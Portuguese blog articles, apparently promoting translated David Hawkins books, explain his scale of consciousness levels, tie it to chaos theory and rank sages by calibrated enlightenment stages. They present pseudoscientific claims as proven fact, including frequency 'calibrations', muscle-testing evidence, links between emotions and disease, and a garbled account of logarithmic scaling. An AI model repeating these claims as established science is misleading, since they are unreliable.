Será que conhecemos as emoções que estão dentro de nós? Será que sabemos verdadeiramente qual é nosso nível de consciência e como isso impacta em nossa vida e define nossos comportamentos?

Compreendendo a Escala Hawkins da Consciência

A Escala Hawkins avalia e ordena emoções que vão das mais negativas às mais positivas e caracteriza cada estado de consciência, detalhando os comportamentos que fazem parte dessas consciências.

É incrível como essa Escala é capaz de mapear nosso comportamento e despertar em nós o desejo do autoconhecimento, de superar cada um desses níveis, nos propondo quase que um desafio de autossuperação.

Compreender os detalhes dessa Escala pode nos trazer saltos de consciência porque nos coloca em contato com a verdadeira essência, tornando transparente as emoções que nos movem e como elas têm impactado em nosso evoluir.

De forma rápida e resumida, o Mapa da Consciência nomeia as seguintes emoções:

Características das Pessoas que vivem em Níveis de Consciência Negativos

Independentemente do quão feliz pareça estar uma pessoa, as emoções negativas estão presentes.

  • Culpa
  • Medo
  • Raiva
  • Ansiedade
  • Irritação
  • Indignação

Todas essas emoções e sentimentos determinam níveis de consciência negativos e trazem sofrimento.

É comum observarmos indivíduos negativos cujos pensamentos são igualmente negativos. Isso acontece porque não se observam, não conseguem se compreender e não conhecem a si próprios. Buscam a felicidade em algum lugar fora delas. E, debruçar essa expectativa de que a felicidade vem do exterior traz muito sofrimento e frustrações constantes.

Essas pessoas se caracterizam por alguns comportamentos como:

  • Não praticam a autorresponsabilidade, não assumem para si o encargo de suas próprias vidas
  • Tendem a culpar tudo e todos por qualquer coisa que saia “errada” em sua vida.
  • Consideram que tudo o que sai fora daquilo que desejavam é uma grande desgraça
  • Nem de longe entendem que a vida é feita de experiências e que estamos aqui para experimentar, aprender e evoluir.
  • Buscam conquistar bens materiais, ter status, ser reconhecidos, captar atenção, tudo fora de si com a intenção de suprir suas carências e ausência de felicidade, tornando-se egoístas.

Características das Pessoas que vivem em Níveis de Consciência Positivos

De outra forma, observamos pessoas que se conectam muito mais com emoções positivas como:

  • Coragem
  • Neutralidade
  • Disposição
  • Aceitação
  • Disposição
  • Razão

São pessoas que entendem a amplitude do conceito de abundância, que é muito mais do que apenas possuir coisas materiais e conhecem o “sucesso”. Geralmente tornamos essas pessoas referências para nosso próprio desenvolvimento.

O entusiasmo, o perdão, o autodomínio estão presentes nas pessoas que focam mais nas emoções positivas. Denotam bem-estar e almejam isso para o próximo também.

Praticam e desenvolvem o autoconhecimento e consideram os erros que cometem uma oportunidade de aprendizado e seguem com tenacidade e constância.

E como é possível reconhecer onde estamos na Escala Hawkins da Consciência?

É apenas através da compreensão sobre em que nível de consciência estamos, como lidamos com nossas emoções e quais são nossas reações que podemos subir na Escala Hawkins da Consciência. Desenvolvendo a auto-observação, olhando verdadeiramente, sem julgamentos para si e para nossos comportamentos.

Quando conseguimos nos apartar das emoções, tanto das negativas quanto das positivas, na maior parte do tempo, olhando para a realidade que existe atrás de todas as situações que nos ocorrem, não julgamos aquilo que acontece como bom ou ruim, apenas observamos e olhamos o aprendizado oculto que existe ali.

Para que isso aconteça não é necessário que nos tornemos alheios e frios diante da realidade, mas é importante que observemos as emoções que nos cabem ou não, aquelas que fazem sentido e aquelas que não queremos mais em nossas vidas. Gênios e pessoas de ideais nobres estão nesse nível de consciência da Razão.

Além desse nível, há ainda pessoas que vivenciam o Amor através de uma postura altruísta e se mobilizam mais pelas necessidades dos outros do que suas próprias necessidades. Fazem isso com alegria, amorosidade por vivenciarem verdadeiramente o Amor. São aqueles que vislumbram uma sociedade mais harmônica e colaborativa.

Aqui no site você pode conhecer mais sobre as emoções da escala de níveis de consciência. Sugerimos que você comece pela emoção Vergonha, que calibra em 20 Hz, a emoção inicial do mapa.

Conheça as emoções presentes em sua jornada

Por isso, buscar o autoconhecimento, a compreensão de como nossas consciências funcionam é a única forma de nos tornarmos pessoas mais plenas e felizes.

Que tal dar início a esse processo através de leituras qualificadas como os livros do Dr. David Hawkins ou com a ajuda de outras pessoas e profissionais que já deram início a esse processo?

Aí você pergunta, por quais livros devo começar? Sem problemas, aqui está uma sugestão de leitura para que você entenda com profundidade a Escala Hawkins de Consciência e como ela pode se tornar uma prática em sua evolução.

  • Poder vs Força: todo o processo de desenvolvimento e os caminhos que Hawkins traçou até chegar à Escala
  • Deixar Ir: cada uma das emoções explanadas detalhadamente, com muitos exemplos que nos ajudam a localizar nossas próprias emoções
  • O Sucesso é para Você: uma visão muito clara e diversa de tudo o que acreditamos ser necessário para se obter sucesso em todas as áreas da vida
  • Cura e Recuperação: a mais nova obra traduzida com exclusividade aqui no Brasil pela Pandora Editora. Nesse livro Dr. Hawkins traz a relação das doenças que desenvolvemos com nossas emoções e crenças e como podemos atuar ativamente no surgimento ou controle delas.

Boa leitura! Boa jornada!

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7 conceitos chave aplicados no estudo dos Níveis de Consciência

No último artigo onde tratamos dos alicerces do desenvolvimento do estudo dos níveis da consciência, realizado pelo Dr. David Hawkins e descrito no livro “Poder vs Força”, vimos que a dinâmica não linear, foi fundamental para a condução da pesquisa. Agora vamos falar de padrões atratores, além de outros conceitos.

Essas são algumas definições um pouco mais complexas, mas importantes para o entendimento e para acompanharmos a proposta que Dr. David R. Hawkins traz em Poder vs. Força.

A ideia deste artigo é dar base científica e lógica para o estudo, que foi feita com maestria por Dr. Hawkins, e ao final te fazer entender como os Níveis de Consciência farão você ter uma vida cada vez mais feliz e abundante!

Vamos então aos 7 conceitos e padrões aplicados nos estudos dos Níveis de Consciência:

1. Dinâmica Não Linear e Padrões Atratores – um padrão identificável

Vamos começar! Vai parecer profundo, mas fará sentido no final.

Quando num estudo surge um padrão identificável em um bloco de dados, que aparentemente não tem um significado, esse padrão parece esconder uma coerência naquilo que parece incoerente.

Tal coerência pode ser demonstrada inicialmente num estudo de computação gráfica feito por Edward Lorenz sobre padrões climáticos em longos períodos.

Tá, mas o que significa isso na prática?

Lembra do “efeito borboleta”? Você provavelmente já ouviu falar ou assistiu ao filme do mesmo nome. A teoria por trás disso é a de que tudo está conectado e que o mínimo movimento exercido num ponto se resulta em movimentos maiores, independente de onde esteja.

Alguns desses padrões se mostram como muito poderosos e outros como mais fracos e o que parece diferenciá-los é o que resulta das chamadas “energia alta ou baixa” da matemática da ligação química.

2. Campos de Dominância – o Domínio da Alta Energia

Chama-se de campo de dominância a apresentação dada por padrões de alta energia e suas influências sobre outros mais fracos.

O universo dos fenômenos se expressa através da interação de padrões atratores sem fim e de forças variáveis.

O que podemos dizer é que os infinitos enredamentos presentes na vida apenas refletem as reverberações intermináveis dos aumentativos e diminutivos desses campos que se compõem de seus harmônicos e de suas outras interações.

Se estiver parecendo muito complexo, fique calmo(a)! Não tente captar tudo com a mente. Continue lendo!

3. O Ponto Crítico – menor força x maior efeito

Dentro do conceito newtoniano todos os dados “não deterministas” são desconsiderados porque estão fora do conceito tradicional de causalidade.

Segundo esse paradigma, o universo está baseado em 3 dimensões de espaço e manifesta processos lineares no tempo, como um relógio gigante.

Nas palavras do Dr. Hawkins, observa-se no funcionamento de um relógio “algumas engrenagens se movem em ritmo lento e pesado, enquanto outras se movem rapidamente, e pêndulos minúsculos se aproximam quando mecanismos de fuga balançam para frente e para trás. Colocar pressão em uma engrenagem grande em movimento teria pouco efeito em todo o mecanismo. Entretanto, em algum lugar há um, mecanismo de equilíbrio delicado a ponto de que o toque mais leve consegue parar todo o dispositivo.”

É isso que se chama de “ponto crítico”: um ponto exato onde a menor força é capaz de exercer o maior efeito.

No entanto, com o surgimento das teorias de Einstein, Heisenberg, Bell e Bohr, o universo se expandiu por meio da demonstração de que tudo é interdependente, tudo interage com todos.  

4. Causalidade

Ponderado o mundo observável, a causalidade fala sobre uma sequência de acontecimentos.

Pense em um jogo de bilhar, onde uma bola bate na outra, que bate na outra e há uma sequência de movimentos onde a primeira bola A causou o movimento da bola B e B causou o movimento da bola C. A isso se dá o nome de sequência linear determinista.

Quando esse mesmo movimento é observado através da dinâmica não linear, nota-se que a causalidade opera de maneira completamente diferente em que ABC se divide em “operantes” e isso se expressa como a sequência aparente de percepção: A, depois B e então C.

O uso analítico da dinâmica não linear considera não só o observável como também o não-observável, como um arco-íris que se configura como uma ponte entre os reinos deterministas e os não deterministas.

A pergunta que um estudo não-determinista se faz é: O que engloba tanto o possível quanto o impossível, o conhecido quanto o desconhecido? Ou seja, quais são todas as possibilidades?

O físico David Bohm cita o “dobrado”- implicações invisíveis quanto o “desdobrado”, manifestações explícitas, algo que já era observado desde o tempo dos sábios iluminados, cujo estado de consciência já vislumbrava essa não linearidade.

5. Padrões Atratores e os estudos das funções do cérebro através dos supercomputadores

O uso dos computadores de inteligência artificial (AI) permitiu a aplicação de teorias da dinâmica não linear nos estudos do cérebro. Essa pesquisa concluiu que as redes neurais do cérebro agem como um sistema de padrões atratores, não se comportando de maneira aleatória.

Os neurônios da consciência revelam os chamados “sistemas de satisfação de restrições” onde uma rede interconectada de unidades de neurônios opera dentro de uma série de limitantes e assim estabelece padrões atratores que correlacionam o comportamento humano à sua fisiologia, demonstrando uma conexão entre o corpo e a mente.

Isso está em linha com os resultados do teste de cinesiologia muscular.

6. A evolução da consciência e o desenvolvimento da sociedade humana

Dr. Hawkins descreveu seu estudo também em termos matemáticos da dinâmica não linear.

Os níveis de consciência foram calibrados de 1 até 1.000 e representam logaritmos na base de 10 e estão relacionados ao poder desses respectivos campos.

  • A graduação de 1 a 600 representa o domínio da grande maioria da experiência humana
  • Os níveis graduados de 600 a 1.000, são o reino da evolução não ordinária, da iluminação, dos sábios e dos estados espirituais mais elevados.

Dentro desse espectro, o estudo vai identificando os poderes progressivos de campos atratores, com algumas variações locais, mas com uma consistência em sua totalidade.

O ponto crítico no estudo dos níveis da consciência parece estar na calibragem de 200 e, abaixo disso

  • Abaixo disso estão os atratores “fracos” ou  “negativos”.
  • Acima de 200 estão os atratores “fortes ou positivos”.

Há que se considerar que a lei da dependência sensível nas condições iniciais, ou seja, ‘o efeito borboleta’ da teoria do caos, é relevante no entendimento da evolução da consciência humana.

Segundo essa lei uma pequena variação ao longo do curso de tempo pode ter o efeito de produzir uma mudança profunda, assim como um navio que apresenta um desvio de um grau de seu compasso pode eventualmente se encontrar a centenas de quilômetros fora do curso.

7. Padrões Atratores poderosos organizam o comportamento humano

A busca pela compreensão da imprevisibilidade do comportamento humano é objeto de estudo desde tempos imemoriais. Compreender o incompreensível fez com que fossem criados infinitos sistemas.

O processo da vida não é lógico e racional, linear, mas é orgânico, não linear e, quando isso não é considerado, traz inevitavelmente uma frustração intelectual.

Nos estudos dos níveis da consciência as respostas não derivaram das crenças ou do conteúdo intelectual humano, mas sim de determinantes importantes como os padrões de campos de energia, aspectos da própria consciência.

Os resultados do estudo indicam que padrões profundamente poderosos organizam o comportamento humano.

Conclusão

Existe um campo atrator poderoso que organiza todo o comportamento humano e é inato à humanidade. Dentro desse mesmo campo, existem outros campos de menor energia e poder que dominam o comportamento e são consistentes através das culturas e do tempo ao longo da história da humanidade.

São as interações dessas variações dentro desses campos atratores que compõem a história da civilização. Falamos em humanidade, mas também existem estudos indicando que esses campos também estão presentes nos reinos animal e vegetal.

O estudo dos níveis de consciência mantêm uma correlação com:

  • As hipóteses dos campos morfogenéticos, estudados por Rubert Shaldrake, biólogo inglês.
  • Com os modelos holográficos das funções do cérebro-mente de Karl Pribram.
  • Com as conclusões de Sir John Eccles de que o cérebro funciona como um aparelho receptor de padrões de energia, existentes na mente que se expressam através do pensamento.

Assunto denso, não é?

Sim! Mas, com certeza, a leitura do livro “Poder vs Força” terá uma visão magnífica da importância dos estudos do Dr. David Hawkins para a compreensão do desenvolvimento da consciência humana e dos aspectos não-deterministas que estão presentes em nossa existência.

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Como despertar a Iluminação Espiritual – com Base em Dr. David R. Hawkins

Iluminação Espiritual é observação, aceitação e amor incondicional constantes no momento Presente, sem cair nas seduções das consciências negativas.

Iluminação Espiritual não é algo a ser alcançado, um estado que se chega, uma recompensa. É simplesmente Tornar-se a cada instante pura observação e testemunha.

É o filtro constante daquilo que não é de Deus, que é do ego.

O estado de Iluminação é deixar de lado a cada instante as recompensas de prazeres sensoriais de curto prazo danosas e egoístas para atender o que se pede pela Vontade Divina.

Crenças sobre a iluminação

E o ser iluminado, é alguém recluso?

Não, Ser Iluminado não significa que este ser não realize mais ações do cotidiano, como assistir um filme ou um vídeo, navegar na internet ou acessar as redes sociais.

A utopia de seres iluminados precisarem se retirar do convívio social para viver em mosteiros ou monastérios e usar vestes específicas já foi algo desmistificado por Buda há 2.500 anos.

Mas mesmo assim adoramos nos envolver em histórias de ficção espiritual e acreditar que a Iluminação Espiritual está longe, que temos que nos esforçar para a alcançar em algum lugar no futuro ou seguir determinado tipo de ritual e vestes específicas.

O que é a Iluminação Espiritual?

Iluminação Espiritual é justamente o contrário disso tudo.

É a constante troca de esforço por entrega.

Entrega e rendição contínua ao Divino, a algo maior, ao estado Búdico ou à consciência Crística, tanto faz, pois todos são uma e a mesma coisa.

Iluminação Espiritual é Presença.

Presença não é ausência de pensamento, mas o desapego dos fenômenos mentais como:

  • sensações,
  • pensamentos,
  • ideias,
  • opiniões,
  • julgamentalismos,
  • emoções
  • e todas as outras distrações advindas da mente e do ego.

Iluminação é o estado de não acreditar na mente.

Desconstruir a crença de que somos a nossa mente ou nosso corpo físico.

A crença de que somos o que pensamos e de que nossos pontos de vistas e posicionamentos quanto ao mundo devem ser defendidos.

Iluminação Espiritual é humildade de não-saber.

Aquele que acredita-que-sabe incorre em:

  • presunção,
  • ceticismo,
  • soberba,
  • orgulho ou
  • arrogância

E, quando esse nível de consciência negativo ocorre, somos levados à:

  • raiva,
  • indignação,
  • cinismo,
  • inveja,
  • ciúme,
  • irritação,
  • entre outros tantos sentimentos destrutivos.

Aquele que presume com julgamentos não pode ser humilde.

O Ser humilde sabe experiencialmente, mas está aberto a desapegar de uma crença menor por uma Verdade maior, sabendo que a consciência está em eterna busca por evolução.

Se não há a abertura em abrir mão de um saber menor por um maior, não há evolução.

Há estagnação ou involução. Sofrimento.

Iluminação Espiritual é aceitar o que É a cada momento.

  • Observar sem julgar
  • Discernir se deve ou não intervir
  • É agraciar tanto a ação quanto a inação.
  • É cortar a cada momento que nasce um pensamento, o seu envolvimento e apego a ele. Observá-lo.
  • Deixar de acreditar que está certo e que o outro está errado a cada instante: agora, e agora, e agora de novo e agora de novo, e mais uma vez, e de novo, e de novo.

Um trabalho constante. Nesta tabela abaixo é possível compreender melhor a diferencia entre julgamento e observação:

Iluminação Espiritual não é complexidade. É simplicidade. Muita simplicidade.

É inocência pura. “Vinde a mim as crianças e não as impeça, pois o reino dos Céus são daqueles semelhantes a elas” de Jesus Cristo.

É um estado de ser criança e idoso (Lao-Tsé). A ingenuidade infantil com o discernimento maduro. Ambos juntos.

O discernimento é o saber experiencial de que não sabemos de nada.

Se acharmos que sabemos, estamos fechados a aprender o novo.

E sem aprendizado não há evolução.

A ingenuidade, por sua vez, é o estado de confiar plenamente em que: o que está acontecendo agora é o melhor para a evolução do Ser e devo me ater apenas a aprender com cada momento.

Tanto discernimento quanto humildade são imprescindíveis para o aprendizado.

Por isso, ambos, por mais que pareçam divergentes e juntos pareçam paradoxais, são uma e a mesma coisa.

Iluminação Espiritual é o constante desapego do menor pelo Maior.

É o alinhamento pleno e contínuo com a vontade Divina. Mesmo que a Vontade Divina daquele momento seja não fazer nada, ou assistir Netflix, ou conversar com um familiar.

Tudo é como É, e isto deve ser profundamente aceito.

Pois se tivesse que ser diferente, seria!

Sendo o que somos

Para ser iluminado, primeiro deve-se quebrar a crença de que devemos ser diferentes do que somos, pois quem quer ser diferente, por comparação, é o ego.

O ego que busca algo fora e no futuro.

Iluminação é o estado de autoaceitação e aceitação com ausência de:

  • querer,
  • desejar,
  • julgar.

É a troca da condenação pela compreensão que se torna compaixão.

Por si mesmo, pelos outros, por todos os seres encarnados e desencarnados que possuem uma vida física ou não física.

Compreendendo os níveis de consciência

Dr. David R. Hawkins dedicou a sua vida a curar pessoas: física, mental e espiritualmente e a realizar trabalhos altruístas por todo o mundo, atendendo clinicamente, palestrando e escrevendo livros os quais inspiram as pessoas no caminho da autocura e da Iluminação Espiritual.

Seu primeiro livro, Poder vs. Força (best-seller traduzido para o português pela Pandora Treinamentos), foi embasado em sua tese de PhD, a qual revolucionou a compreensão da ciência através da comprovação dos níveis de consciência e da identificação da interconexão de tudo o que existe, existiu e virá a existir.

Dr. David R. Hawkins foi médico e PhD em psiquiatria, além de professor espiritual, e possui vasta experiência. Abaixo podemos ver algumas de suas qualificações e experiências:

  • Psiquiatra clínico por mais de 50 anos;
  • Escreveu livro vanguardista sobre Psiquiatria Molecular com o químico ganhador do Prêmio Nobel Linus Pauling;
  • Entrou para o hall da fama da medicina ortomolecular;
  • Criador do Mapa de Consciência;
  • Palestrou em Oxford, Harvard, Westminster Abbey, Universidade de Notre Dame, Michigan, Universidade da Califórnia entre muitas outras;
  • Consultor diplomático entre países com conflito político;
  • Foi consultor em monastérios católicos, protestantes e budistas atestando a veracidade de estados avançados de consciência (estágios de Iluminação Espiritual) em monges e retirantes;
  • Recebeu o título na Korea de “Rae Ryeong Seon Kak Tosa” – “antes de tudo, professor no caminho da iluminação”;
  • Cavaleiro da Ordem Soberana dos Hospitaleiros de São João de Jerusalém, fundada em 1077;
  • Dezenas de outros prêmio e honras podem ser vistos na lista completa em: https://davidhawkins.com.br/david-hawkins/biografia-dr-david-hawkins/

Uma sequência de artigos

A sequência de artigos que vimos até aqui e que constam no final dessa página aprofunda cada nível de consciência descrito pelo Dr. David R. Hawkins cuja tabela desses níveis encontra-se em seus livros.

Cada nível de consciência, em ordem crescente, tem poder de influência e propensão a mudança absurdamente maior do que o nível anterior, já que esta categorização de 0 a 1.000 representa analogamente uma escala logarítmica com base 10.

Ou seja, o nível de consciência 3 não é a soma de 2+1, mas sim o nível 2 elevado à décima potência, como um comparativo simples de entender.

Para quem tiver interesse em se aprofundar no entendimento sobre a checagem dos níveis de consciência, indico a leitura do livro Power vs Force que pode ser encontrado na loja da Pandora Treinamentos, tradutora oficial dos livros do Dr. Hawkins para o português.

Os estágios de Salvação, Iluminação Espiritual e Nirvana

De acordo com Dr. David R. Hawkins, existem diversos estágios de iluminação, já que a consciência é constantemente evolucionária.

Os primeiros estágios em correlação às descrições de Buda, acontecem ainda nos níveis de consciência de Amor e Amor Incondicional.

O primeiro estágio – Sotapanna

O estágio de Sotapanna, no nível calibrável de gratidão em 510, é considerado aquele que entra no fluxo. 

Esse ser se livrou de três amarras que o mantém nas ilusões do mundo, do ego e da mente (Maya):

  • crença em si mesmo separado do Todo,
  • o apego a rituais e
  • o ceticismo sobre o Caminho a Deus (iluminação).

Este Ser vai renascer no máximo mais sete vezes para aprender o suficiente sobre a Iluminação Espiritual e abandonar Samsara, o ciclo contínuo e ininterrupto de nascimentos e mortes físicas.

Dentro do conceito cristão, a Salvação através de Jesus Cristo é equivalente ao nível de consciência de 540, ou Amor Incondicional.

Assim, quando nos libertamos do corpo físico por espontaneidade (e não por forçarmos), a própria consciência Crística se “encarrega” de nos levar à iluminação ou unificação em Deus, nos reinos celestes, sem a necessidade de reencarnar se assim quisermos e se for de Vontade Divina.

O segundo estágio – Sakadagami

O segundo estágio de iluminação budista, chamado Sakadagami, equivalente a 570 nos níveis de consciência, é considerado aquele que retorna apenas mais uma vez. 

Esse ser além das três amarras que já cortou enfraquece o laço com mais duas: desejos sensoriais e má intenção. Renascerá apenas mais uma vez para dissolver seus resíduos cármicos.

O terceiro estágio – Anagami

O terceiro estado de iluminação, ou Anagami, é equivalente ao nível calibrável de 600, ou chamado estado de Paz, descrito no artigo anterior desta série.

No ioga, este estado é denominado o primeiro estágio de Samadhi, ainda com resquícios de ego, denominado Savikalpa Samadhi, a compreensão da Existência e a comunhão com o Universo.

Este Ser é considerado aquele que não retorna, a não ser que seja de Vontade Divina para orientar a humanidade.

Este ser cortou os cinco primeiros laços mencionados de maneira permanente. Não renasce mais no domínio dos sentidos, renasce em um paraíso sem forma e se ilumina por lá.

Neste estágio, o Ser se torna o observador e a testemunha que intervém no mundo quando é Convocado.

Já não há mais a necessidade de fazer algo para alimentar seus prazeres pessoais, por mais que as preferências características daquela vida humana permaneçam, pois não há necessidade de serem alteradas ou deixadas de lado se forem de pura intenção, já que o estado é de plena aceitação.

Este nível é o nível de consciência de grandes mestres espirituais e santos como:

  • Lao-Tsé,
  • São Francisco de Assis,
  • S. N. Goenka,
  • Chico Xavier no final de sua vida quando já não lecionava mais, entre outros.

O salto para a autorrealização

Ainda neste terceiro estágio, o Dr. David R. Hawkins explica que há uma evolução com características diferenciadas para o nível de consciência de Autorrealização em 700.

A partir deste nível e adiante, encontramos os grandes profetas espirituais que dedicaram sua vida para salvar a humanidade e nos ensinar a base de todas as religiões clássicas as quais temos conhecimento como:

  • Cristianismo,
  • Islamismo,
  • Judaísmo,
  • Budismo,
  • Hinduísmo,
  • entre outras.

A Graça do Ser é descrita como inefável (indescritível, inominável, indivisível).

Neste nível de consciência, encontramos sábios como:

  • Maomé,
  • Mahatma Gandhi,
  • Madre Teresa de Calcutá,
  • Teresa de Ávila,
  • São Paulo de Tarso,
  • Patanjali,
  • Sri Nisargadatta Maharaj,
  • Sri Ramana Maharshi,
  • Mestre Dogen,
  • Adi Shankaracharya,
  • Mestre Eckhart (não confundir com Eckhart Tolle),
  • entre outros.

Hoje, temos o conhecimento de um Ser presente na Terra neste nível de consciência conhecido como Palden Dorje (quem se interessar pode verificar brevemente sua história no Wikipedia e assistir a este vídeo no YouTube).

“O merecedor” – Arhat

Após este estágio de grande plenitude, encontramos o tão comentado e requisitado por monges budistas, o estágio de Arhat, que significa ‘o merecedor’ ou ‘aquele que merece louvores Divinos’.

Calibrável ao nível 800, este ser cortou tanto as cinco amarras inferiores dos primeiros três primeiros estágios quanto as cinco amarras superiores sutis: desejo por existência com forma sutil (paraísos celestiais), desejo por existência nos reinos sem forma, conceitos, inquietação e ignorância. Nunca mais renasce. Atingiu e se mantém nos primeiros estágios de Nirvana ou Iluminação Plena. No ioga, este é o estágio de Nirvikalpa Samadhi, sem resquícios do ego.

Além deste nível de plenitude, existe ainda mais dois estágios possíveis de se alcançar na fisicalidade, mesmo que raros.

Este é o nível denominado Vazio e considerado por muitos o último estado de Iluminação ou Búdico, porém, de acordo com Dr. David R. Hawkins, ainda não é a Totalidade de Buda, ou da Consciência Crística.

Este estado é de tamanha Graça, que nada parece haver além dele, porém, de acordo com Hawkins, a interpretação do Vazio como estado Último é um erro de conceito sobre interpretações equivocadas das palavras de Buda.

Os sábios de Arhat

Os números de sábios nestes níveis são raros (50% do tempo sem um desses seres nos últimos 1.000 anos).

Seus ensinamentos são essencialmente os mesmos, embora surgidos em locais, tempos e culturas diferentes, alguns deles são:

  • Vedas,
  • Upanishads,
  • Baghavad Gita,
  • Canone Pali,
  • Novo Testamento,
  • Zohar, etc.

Os grandes mestres deste nível, e acima, e seus ensinamentos emanam campos extremamente poderosos de energia de alta frequência na consciência coletiva da humanidade.

A este nível de consciência encontramos profetas e sábios como:

  • Abraão,
  • Moisés,
  • João Batista,
  • Huang Po e
  • Os 12 apóstolos de Jesus.

Atualmente, temos conhecimento de apenas um Ser encarnado está neste nível de consciência denominado Venerável Pa-Auk Tawya Sayadaw (para mais informações pode-se visitar o site de seu monastério, localizado em Myanmar, ou assistir uma parte de seu vídeo legendado.

De acordo com o livro “Transcending the Levels of Consciousness“, do Dr. David R. Hawkins, o saber necessário para superar este nível é que o Amor Divino que também é não-linear e sem sujeito, objeto, forma ou condicionalidade.

O erro do Vazio é negar até mesmo o Amor Divino por confundir com o amor do estado humano egoico de posse.

O último estado de consciência do mundo físico

Como último estado de consciência possível de ser despertado no mundo físico, está o nível da Totalidade, que calibra em 1.000.

O último vestígio do ego coletivo desaparece no silêncio da Presença.

Este é o nível dos enviados Divinos, ou filhos de Deus, ou Avatares, onde encontramos:

  • Jesus Cristo,
  • Buda,
  • Krishna e
  • Zoroastro. 

A perfeição impressionante e beleza da Totalidade da Criação como Divindade irradia. 

Gloria in Excelsis Deo é o próprio Estado.

Todos estes níveis de consciência estão disponíveis para todos os seres humanos, em todos os tempos e todas as culturas.

O único pré-requisito é se dedicar, profundamente e constantemente, a buscar a Verdade e estabelecer um  compromisso em alinhar suas intenções com a Vontade Divina.

“O caminho é reto e os portões são estreitos. Não perca tempo”. 
Dr. David R. Hawkins; MD; PhD.

Este artigo faz parte de uma série de artigos que exploram os níveis de consciência humanos.

Abaixo a lista dos artigos sobre os níveis de consciência em ordem:

00. Entendendo os níveis de consciência

01. Como vencer a vergonha?

02. Culpa, para que serve?

03. Como se livrar da tristeza?

04. Enfrentando o medo.

05. O desejo é a fonte do sofrimento.

06. Como controlar a raiva.

07. Por que o orgulho nos prejudica?

08. Coragem é a base para o sucesso.

09. A neutralidade nos ajuda a não sofrer.

10. Disposição pode nos levar a resultados inimagináveis.

11. Aceitação, o caminho do perdão.

12. Apenas 4% das pessoas utilizam a razão.

13. O que é amor verdadeiro?

14. A Paz e o processo de Iluminação

15. Como despertar a Iluminação Espiritual

Categorias
Níveis de Consciência

A Paz e o Processo de Iluminação – com base em Dr. David Hawkins

Todo ser humano busca a Paz. A Paz é a fonte de nossa natureza. Dela saímos e para ela retornamos. A Paz é a primeira percepção experiencial sobre a Fonte de Tudo o que Existe.

Mensagens de Paz são ditas por todos os cantos e sabemos que ela existe em algum lugar.

Muitas vezes, como tudo o que costumamos fazer, projetamos um estado ideal fora de nós, como o desejo de paz no mundo, mas esta paz externa e utópica não é a Paz Real.

A Paz Real é interna.

É estar bem consigo mesmo a todo momento e independente do que acontece nos planos:

  • físico,
  • vital,
  • emocional ou
  • mental.

É um estado de espírito pleno e de bem-aventurança. É não-sofrimento. Alegria plena e constante. O estado de Paz interior já não se afeta por causalidades ou motivos externos.

A Paz e sua manifestação

Paz não significa inação e está longe disso.

É um estado de extrema energia que é utilizada quando se faz necessária. Assim como um estado de extremo silêncio que também é contemplado com graça e naturalidade.

Neste estado, o silêncio sobressai ao ruído.

Por mais que ainda haja pensamentos – quando se sustenta o pensamento – o silêncio como pano de fundo está sempre presente.

O pensamento aparece como singela sugestão ou é convocado pelo Ser que decide pensar.

Liberta-se da escravidão e do vício ao qual o ser humano acredita ter de pensar e o pensar passa a ser uma escolha.

Da mesma forma que não há apego no pensamento, também não há resistência ao impulso autônomo do pensar.

Assim como quando olhamos um chocolate e não sentimos mais aquela necessidade absurda de comê-lo, mas às vezes, escolhemos comer um pedaço para agraciar o seu sabor.

Onde o precisar vira preferir, experimenta-se a liberdade. Quando temos esta opção no quesito pensar, isso é chamado de nível de consciência de Paz.

Onde nasce esse estado?

A Paz nasce quando o Amor Incondicional se aquieta e se compreende a não-necessidade de Amar ativamente, entendendo que Tudo já É Amor por si só.

O Amor se torna incondicional até mesmo de agir ou não agir, de fazer ou não fazer, de realizar ou não realizar.

A Paz está no Ser que independe do fazer e do ter. É possível viver em grandes períodos de silêncio em entendimento de que nada precisa ser feito a não ser que seja evidente intervir.

A vontade pessoal se esvai e dá lugar à Vontade Divina. O que não significa que há ausência de preferências.

Tudo na vida segue como de maneira normal, mas nada mais é preciso.

O Ser em Paz É. É a Expressão Divina manifesta na forma.

Não busca reconhecimento e por isso é reconhecido, pois o Poder de suas palavras não procuram por:

  • glamour,
  • fama,
  • reconhecimento,
  • dinheiro
  • ou qualquer interesse individual ou egóico.

O dinheiro e o reconhecimento vêm como consequência do que se É.

E como o estado de Graça é vivenciado, nada que é dado e ofertado pelas ocorrências e situações da vida é negado, desde que não venha com má-intenção.

Não há mais julgamentos e abre-se espaço para compreensão, compaixão e misericórdia.

Não é mais possível existir resistência ao que É, apenas a observação sempre presente do que se deve ou não fazer em relação àquilo que se manifesta.

Nada ‘precisa’ ser feito

O desapego é a experiência subjetiva. O que não significa distanciamento, mas sim uma aceitação profunda sem esperar que nada mude, pois se é sabido que o que tiver que acontecer acontecerá e não há formas de intervir sobre a Vontade Divina, apenas testemunhar e observar.

Agraciar a vida. Contemplar.

Neste estágio, o ser cortou os cinco laços de ilusões do mundo permanentemente:

  1. Apego a rituais doutrinários e dogmáticos,
  2. Ceticismo sobre a existência de Deus e seu Caminho Puro,
  3. Ilusão de um ‘eu’ separado do contexto e do Todo,
  4. Má-intenção e
  5. Desejo sobre os estímulos dos sentidos.

Desta forma, a escravidão se dissolve e a liberdade existe. A alegria e felicidade mantêm-se 100% do tempo.

Mesmo porque o tempo já não é mais percebido como a maioria dos seres humanos percebe.

Há o entendimento de que passado, presente e futuro são uma e a mesma coisa e estamos a todos os momentos vivenciados em um Eterno Agora.

Assim, percebe-se que não há um agente causador. Nada causa nada. E a observação é de um desdobrar natural e evidente.

Tudo se desdobra no ritmo e forma perfeitos e óbvios os quais não poderiam ser diferentes, de acordo com a Evolução natural e sincronia de Tudo que Existe.

O que é Iluminação Espiritual?

A iluminação muitas vezes é vista com olhos místicos ou uma recompensa a ser alcançada no futuro. 

Na verdade essa (in)compreensão é o que afasta muitas pessoas desse estado.

A iluminação não pode ser alcançada, pois já é um estado inato do Ser.

Já se é Luz, porém perde-se na sombra. Há o turvar da mente.

O sol não é alcançado, não aparece só quando não há nuvens. Ele sempre está lá. Continuamente. Ele simplesmente se revela quando as nuvens vão embora.

A iluminação é a retirada das nuvens de ilusões do ego e o mantimento do sol do Ser sempre Presente.

É um estado alcançado apenas no momento Presente. Em cada nanossegundo de cada momento Presente.

É a disciplina contínua de afastar cada nuvem de ilusão que busca tampar o sol insistentemente a todo instante.

Até que, por intenção, as nuvens já não escondem mais o sol. E o sol se mantém. Ilumina-se.

